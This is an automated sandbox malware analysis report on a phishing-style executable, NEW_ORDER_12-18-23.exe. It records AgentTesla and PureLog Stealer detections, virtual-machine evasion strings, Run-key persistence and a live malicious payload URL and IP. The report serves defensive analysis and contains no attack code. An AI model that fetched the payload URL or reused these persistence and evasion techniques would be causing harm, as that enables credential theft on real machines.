Source: C:\Users\user\AppData\Roaming\spof.exe TID: 7980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe TID: 7968	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1752352645.0000024A7A100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: spof.exe, 0000000B.00000002.1900839587.0000022247FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}}
Source: spof.exe, 00000019.00000002.1964844498.0000012B08BF7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllBB

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Queries volume information: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Queries volume information: C:\Users\user\AppData\Roaming\spof.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\spof.exe	Queries volume information: C:\Users\user\AppData\Roaming\spof.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 25.2.spof.exe.12b1c7123e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b1c7123e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225bb97db0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225bb97db0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e11790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e4e2b8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7948, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7948, type: MEMORYSTR

Source: Yara match	File source: 25.2.spof.exe.12b1c7123e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b1c7123e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225bb97db0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225bb97db0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e11790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e4e2b8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7948, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 25.2.spof.exe.12b1c7123e8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.spof.exe.12b1c7123e8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225bb97db0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.2225bb97db0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e11790.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.spof.exe.22249e4e2b8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7948, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW_ORDER_12-18-23.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spof.exe PID: 7948, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	1 Input Capture	21 Security Software Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	1 Data Obfuscation	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	1 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	1 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NEW_ORDER_12-18-23.exe	35%	Virustotal		Browse
NEW_ORDER_12-18-23.exe	27%	ReversingLabs	Win64.Trojan.Generic
NEW_ORDER_12-18-23.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\spof.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\spof.exe	27%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\spof.exe	35%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://45.137.22.163/Akoob.pdf	100%	Avira URL Cloud	malware
http://45.137.22.163/Akoob.pdf(Qu	100%	Avira URL Cloud	malware
http://45.137.22.163/Akoob.pdf(Q	100%	Avira URL Cloud	malware
http://45.137.22.163	100%	Avira URL Cloud	malware
http://45.137.22.163/Akoob.pdf	12%	Virustotal		Browse
http://45.137.22.163	16%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://45.137.22.163/Akoob.pdf	false	12%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C64D000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.137.22.163/Akoob.pdf(Q	spof.exe, 0000000B.00000002.1901609525.0000022249C21000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.137.22.163	NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249C21000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249C21000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.137.22.163/Akoob.pdf(Qu	NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.137.22.163	unknown	Netherlands		51447	ROOTLAYERNETNL	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1363933
Start date and time:	2023-12-18 14:30:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NEW_ORDER_12-18-23.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/4@0/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target NEW_ORDER_12-18-23.exe, PID 7272 because it is empty
Execution Graph export aborted for target spof.exe, PID 7500 because it is empty
Execution Graph export aborted for target spof.exe, PID 7948 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:31:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run spof C:\Users\user\AppData\Roaming\spof.exe
13:31:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run spof C:\Users\user\AppData\Roaming\spof.exe
14:31:07	API Interceptor	1x Sleep call for process: NEW_ORDER_12-18-23.exe modified
14:31:22	API Interceptor	2x Sleep call for process: spof.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.137.22.163	SecuriteInfo.com.MSIL.Generik.FMUPQYX.tr.3045.24667.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	45.137.22.163/hiii.pdf
	Controllo saldo 30% Ordine 5667.exe	Get hash	malicious	AgentTesla	Browse	45.137.22.163/bless_Jkvszuhw.png
	Quotation-pdf______________________________________.exe	Get hash	malicious	AgentTesla	Browse	45.137.22.163/Toscgshw_Yvmodcuo.png
	#Uc8fc#Ubb38 30% #Uc794#Uc561 #Ud655#Uc778.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/orderfile_Hecqxfqw.png
	New order _xls.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/New_order__xls_Ivuuoipf.bmp
	SecuriteInfo.com.W32.MSIL_Kryptik.GXA.genEldorado.18172.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/fact_Sptqaevl.bmp
	order confirmation 46574 -QT-04-0022.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/order_confirmation_46574_-QT-04-0022_Yszciyqc.jpg
	Quotation-pdf______________________________________.exe	Get hash	malicious	AgentTesla	Browse	45.137.22.163/Kwcmalox_Bcqlnfnp.jpg
	2467864 _INV_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/Hebvr_Lwvvdxxi.bmp
	conferma d'ordine 46574.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/fresh_Djctepjr.png
	factura proforma PI- PI04522 7486.exe	Get hash	malicious	Unknown	Browse	45.137.22.163/trans_Yygygcyg.jpg
	PI- PI04522 74868.exe	Get hash	malicious	AgentTesla	Browse	45.137.22.163/proforma_invoice_Crnbdlom.png
	paymentcopy-pdf__________________________________.exe	Get hash	malicious	AgentTesla	Browse	45.137.22.163/Wmdmjhtr_Pendcahw.bmp
	Paymentcopy-pdf___________________________________.exe	Get hash	malicious	AgentTesla	Browse	45.137.22.163/Dhjuzchby_Xwgoflwi.bmp
	AIR CARGO BOARDING shipment MAWB 40608657504.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/Ejghs_Imuzrnrb.png
	PI- PI04522748-pdf.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/Cpogmqp_Qhkfesil.jpg
	Ordine di acquisto PO-JTT-00001018.exe	Get hash	malicious	Snake Keylogger	Browse	45.137.22.163/Htrcekszm_Kcdcxrzw.jpg

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROOTLAYERNETNL	PAYMENT_TT_COPY.pdf.exe	Get hash	malicious	RedLine	Browse	185.222.58.239
	SecuriteInfo.com.MSIL.Generik.FMUPQYX.tr.3045.24667.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	45.137.22.163
	cVw2fI6l0l.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8
	D4CJJrRyRV.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	45.137.21.8
	C2qEwpO6ff.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, PureLog Stealer, RedLine, SmokeLoader, Xmrig	Browse	45.137.21.8
	rQ7KS66xHz.exe	Get hash	malicious	Glupteba, PureLog Stealer, RedLine, SmokeLoader, Xmrig	Browse	45.137.21.8
	cgROS79PO8.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	45.137.21.8
	GQmlDdfIus.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	45.137.21.8
	tFXV5OO73i.exe	Get hash	malicious	Glupteba, PureLog Stealer, RedLine, SmokeLoader, Xmrig	Browse	45.137.21.8
	xR0Sb2wGy9.exe	Get hash	malicious	RedLine	Browse	185.222.58.99
	rdU3cg9xmI.exe	Get hash	malicious	Glupteba, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader, Xmrig	Browse	45.137.21.8
	Dzc2otu6qd.exe	Get hash	malicious	Glupteba, LummaC Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	45.137.21.8
	YRdCIU1WYM.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8
	ae6r1Pwu4b.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	45.137.21.8
	8d6f8324030f8c1566ab38f8ade3c386b7b7740ccaf28.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8
	e6Ebnpst2H.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Xmrig	Browse	45.137.21.8
	C2Q2uZGYEJ.exe	Get hash	malicious	LummaC Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8
	O67RAr74KS.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8
	HVT3sNz081.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8
	hZQc10Oucb.exe	Get hash	malicious	PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse	45.137.21.8

Process:	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1492
Entropy (8bit):	5.3787668257697945
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNt1qE4GIs0E4KVE4kh:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIx
MD5:	E6AD1A632B3ED1855D07C71585EE32C3
SHA1:	D44EC2568001E1B1492B86681211788246A55ADD
SHA-256:	CA2883CA6638072E9A3E8A455CFD1C5D7903EEF606924F06E90C2F474751E88D
SHA-512:	B09AD19DB449687B3BB91CA8E97E553AB7CBC1B5323D920F75D0CC930FBF1637CB1087170AD00E34677D29A9EBDA5F9A96A4AA1C736C7AC1C24A70DFB4A215D0
Malicious:	false
Reputation:	low
